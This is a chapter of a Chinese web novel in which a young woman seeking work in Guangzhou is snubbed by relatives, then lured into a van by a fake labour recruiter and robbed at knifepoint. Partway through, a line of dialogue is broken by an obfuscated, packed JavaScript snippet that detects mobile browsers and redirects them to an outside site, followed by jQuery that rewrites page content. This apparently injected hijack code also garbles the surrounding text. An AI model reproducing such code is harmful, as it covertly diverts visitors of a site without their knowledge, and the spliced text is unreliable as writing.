“哎呦,丽娜来了!长这么大了啊!”
三姨婆开门时愣了愣,马上换上熟稔又热情的表情,“快进来,大家都在等你呢!”
“不好意思让你们久等了……”
麦丽娜正想一脚踏进门,三姨婆忽又拦住,拿出一双旧拖鞋让她换上。
“哦哦,差点忘了。”麦丽娜赔着笑,将礼品交给三姨婆,弯腰换上拖鞋。
那拖鞋很小,她只能伸半只脚进去,撑着鞋头走路。
三姨婆随手将礼品放到鞋柜上,带点埋怨的语气说:“你一个人出来啊?这里很难找吧,我们等你大半天了。平时我们习惯六点半开饭,晚了嘉欣要上补习……”
麦丽娜看到小小的厅里挤满了人,客气的笑容伴随着审视的目光,像真人秀里的评委,礼貌的言语背后是满嘴的挑剔。
“这是三姨丈,你表叔、表婶,他们刚下班回来——”
麦丽娜热情地点头问好。
“哇好臭!”一个十来岁的女孩捏着鼻子喊,“是臭水沟的味!”
“嘉欣!不要没礼貌!”表婶呵斥了声,善解人意地为麦丽娜开解:“广州的天太热了,在外面走一圈人都湿透了。”
表婶的目光落在麦丽娜油浸般的头发上,麦丽娜差点失笑,在小旅馆还以为是别人的酸臭味,原来是自己的啊!亏她三天没洗澡,在广东不发馊才怪。
“我转了好多趟车才找到这里!出了好多汗,人都热晕了,不如让我先洗个澡?”好死不死她还穿着两件套,麦丽娜抖起贴身的衬衣,瞬间屋里汗臭味更大了。
三姨婆很是为难,晚饭都准备好了,可总不能让一家人就着馊味吃饭吧。
“那就洗一洗吧,卫生间在那。”她指了指厨房后的小隔间。
小小卫生间挤得可怜,三平方里既装着马桶又塞着洗衣机,地上还放着经典塑料大红盆。麦丽娜踩在地上一堆瓶瓶罐罐中央,像个杂技演员。
但即便是咫尺之地,也足以让她尽情享受凉快的淋浴。
这个澡麦丽娜足足洗了十五分钟,出来那个叫神清气爽。
她哼着小调摆出广告中模特洗澡的动作,一开心便说个不停:“你们家的洗衣机好高级啊,上面写着英文,是进口的吗?还有那沐浴液,我在香港台看到过,Zest……”
“洗澡呢,不用洗那么久,五分钟够了,洗太久对血压不好。”三姨丈含蓄地打断她,心疼那畅流十五分钟的自来水。
“咱们家洗澡太舒服了!我一洗起来就忘了时间,不好意思啊!”麦丽娜黑黝黝的脸蛋散发着洗澡后红润的光,一副完全没听出任何不悦的样子。
三姨婆欲言又止,无奈地招了招手,“快吃饭吧,菜都凉了。”
就算来的是穷亲戚,桌上还是多备了鱼肉等硬菜。麦丽娜啃了三天面包,见到白切鸡眼睛发光,筷子朝鸡肉不停地夹去,饭也多吃了一碗。为了不冷场,她还不停跟一家老小唠叨家常。
“你们这地头房价很贵吧?这里一套房能顶我们那里一套别墅。”
“嘉欣上几年级了?英语学到哪了?有什么不会我教你。Nicetomeetyou.”
“还是家常菜好吃,麦当劳那汉堡包那味吃得我想吐,鬼佬怎么喜欢那玩意?”
麦丽娜眉飞色舞地说了小半个钟头,从老家的变化说到广州的发展;从小时的趣事到长大后的雄心壮志;从家里的经济情况说到找工作的困难……直到最后没话可说了,才小心翼翼地说:
“三姨婆您见识广、人脉多,表叔又是咱家族里最有本事的……”她嘴里像抹了蜜似的,把能想到的奉承话翻来覆去说了个遍。
一桌子人勉强挂着笑,筷子在菜盘里挑挑拣拣,直到听见她拐弯抹角地提起找工作的事,饭桌渐渐安静下来。
三姨婆端着饭碗的手僵在半空,心里直发苦,当初不过是想省几个药钱,让乡下亲戚帮着找点土方子,谁成想竟招来个甩不掉的包袱?
“找工作要慢慢来,我们当年吃了很多苦才来到现在单位的。”三姨丈不紧不慢地说。
“你想找什么样的工作呢?”表叔皱着眉头问。
“外面天气这么热,要是有份能吹空调的工作就好了。”麦丽娜立马答道,她还有一点点奢望,说不定,亲戚长袖善舞,能拐弯给她塞进哪里呢。
表叔问了她的学历就不出声了,表婶还客气两句:“我帮你问问啊。”
麦丽娜感谢个不停,兴奋地表示每天都要打电话来问进展。
吃完饭三姨婆亲自将她送出去,硬是将鞋柜上的利是糖和椰汁塞回给她。麦丽娜毕竟刚出社会,以为亲戚体谅她没什么钱,不好收礼,对三姨婆感激不尽。
第一天,她充满期待地打电话过去,没有人接。
第二天,她继续忐忑不安地拨打,还是没有人接。
第三天、第四天……手里的钱越来越少。
就在她快要绝望的时候,电话忽然接通了。她的狂喜还未停留一分钟,便听三姨婆惊讶又责备的声音说:“阿娜!你在哪?你爸打电话来说——”
“啪”,麦丽娜猛地挂断电话,本能地逃离电话亭。
三姨婆这边是没希望了。
怎么办?
接下来怎么办?
巨大的无助和茫然一下子笼罩住她。她突然非常害怕,比逃出家乡还害怕,以前,她有逃脱的目标和计划,可现在,她不知道自己要做什么才能生存下去?
密集的人流往火车站涌,麦丽娜被裹挟在人流中,漫无目的又心如死灰地前行。
要回去吗?
她想起老朱的嘴脸。想起那晚的折磨。
不,坚决不回去,打死都不回去,死也要死在广州!
出站口人潮汹涌,一批又一批背着巨大行囊的农民工像黄蜂般轰然而出。
治安队员不耐烦地驱赶躺在角落的流浪汉,小贩们脖子上挂着装满香烟口香糖的木匣,在人群中灵活穿梭。
“日结80!现结现走!”
远处传来高声吆喝,是有人举着纸牌在出口处招揽工人,旁边野鸡车司机也举着地名的牌子争抢刚下车的旅客。
麦丽娜努力辨认出招工的人,像抓住救命稻草般挤过去。
“老板招什么工?”
举牌的男人打量着她那身不合身的西装和紧紧攥在手里的挎包,粗声回答:“零工,你一个人?”
“一个月能挣多少?”
“一千五到两千五,加班多还能往上加。”
这数字让麦丽娜心头一跳——不比文员差呀。她强压激动:“包吃住吗?”
那男人轻蔑一笑:“肯定的,这边都包吃住。做得好还有奖金补贴,一个月到手三千没问题。”
“差不多,我老乡工资也是这个数。”麦丽娜装作懂行地点点头,一点都不觉得离谱。
男人朝旁边招招手,一个皮肤黝黑、神情木讷的矮个子走了过来。“他带你去厂里看看,不满意再送你回来。”
还有这等好事?
麦丽娜二话不说跟在黑矮个后面,生怕人家不带他。“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317738|199003||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是不是还要面试?”她忽然想起问道。
黑矮个噗地吐掉嘴里的牙签,斜眼瞅她:“就你这身打扮,当主管都够格。”
麦丽娜暗喜,“我就是来应聘主管的,主管多少钱?”
“比小工高。”黑矮个不说了,领着她上了一辆锈迹斑斑的金杯面包车,里面已经坐了个瘦高男人,说是一起去见工的。
小金杯摇摇晃晃从火车站开出,穿过人车密集的都市,往人烟稀少的公路开去。
麦丽娜很兴奋,一会问这是哪里,那又是什么地方,一会又怕被人看出自己没见过世面。
不知不觉已经开了一个小时,稀疏的建筑引起麦丽娜警觉,试探问道:“举牌那大哥说你们帮好几家工厂招工,是哪几家呀?”
“有做机器的、有做服装的,还有做别的。”黑矮个说话意简言赅,“你看中哪个就去做哪个。”
“这些厂都建在这么远的地方吗?”
“这可是广州,不是你们那小地方。地皮贵,吃住又贵,还有什么环保要求……现在老板都在郊区做厂,不然哪吃得消啊。”
麦丽娜瞥了眼身旁那个靠在位子上昏昏沉沉的瘦高个,他看起来一点都不担心。她忍不住问:“大哥,你去做啥的?”
瘦高个有气无力地答:“做啥?啥给的钱多就做啥。”
答案无可挑剔,麦丽娜仍无法压抑心中的不安,凑过去小声发问:“大哥你不担心被骗吗?我听说火车站很多‘卖猪仔’的,将人拉到黑工厂,不给钱不放人。”
开车的黑矮个似乎专心开车没听到,麦丽娜一颗心悬在半空,怪自己一心只想着脱困,这才想起那些在报纸上看到的危险,跳车已经来不及了,她害怕葬身荒野。
瘦高个说话了:“怕什么,你不听他们乱吹,不吃他们给的东西,不上他们的车就行了。”
麦丽娜无语,不知道是瘦高个有问题还是自己有问题。
前排黑矮个冷不丁笑出来:“你现在才想起这个,太迟了吧。”
“大哥,我这小矮个,手脚又慢,卖不出什么好价钱。你放了我吧,我包里还剩两百块,都给你。”麦丽娜一手扶着前面的椅子后背,探前上半身,真诚地哀求道。
“瞧把你吓得,跟你开个玩笑。老哥是那样的人吗?再说了,你那两百块还不够我加油费呢。”黑矮个笑着说道,“快到了,快到了啊。”
麦丽娜望向车窗外,远处掠过一些厂房的围墙,写着“讲文明、树新风”、“迎九运、促发展”之类的大字,在杂草丛中格外醒目。
她松开紧抓住手提包的手指。
“你看,没骗你吧。”黑矮个稳稳当当地将金杯拐进一条小路。“你看法制节目吗?‘卖猪仔’那是贩卖人口啊,将人运到黑工厂、黑煤矿,被抓住是要判刑的。你又没钱,我图啥?”
“就是嘛,贩卖人口要吃子弹的。”麦丽娜心不在焉地附和,眼睛不停地观察窗外。
“吃子弹倒不至于,就是很麻烦。你第一次来广州吧?以后要注意,凡是问你要‘介绍费’、‘体检费’的,都不是正经厂。”黑矮个慢悠悠地说着,一直朝前开。很快厂房也不见了,来到一处荒地。
“还要多久啊?”麦丽娜忍不住打断他。
“像我们就不会搞那些,太黑心了。”小金杯突然猛地停下,黑矮个回过头,“你把钱都拿出来,不用卖身给黑工厂。”
“啥?”麦丽娜以为自己听错。
身旁的瘦高个突然坐起来,变出一把小刀,晃在麦丽娜眼前,“拿钱出来。”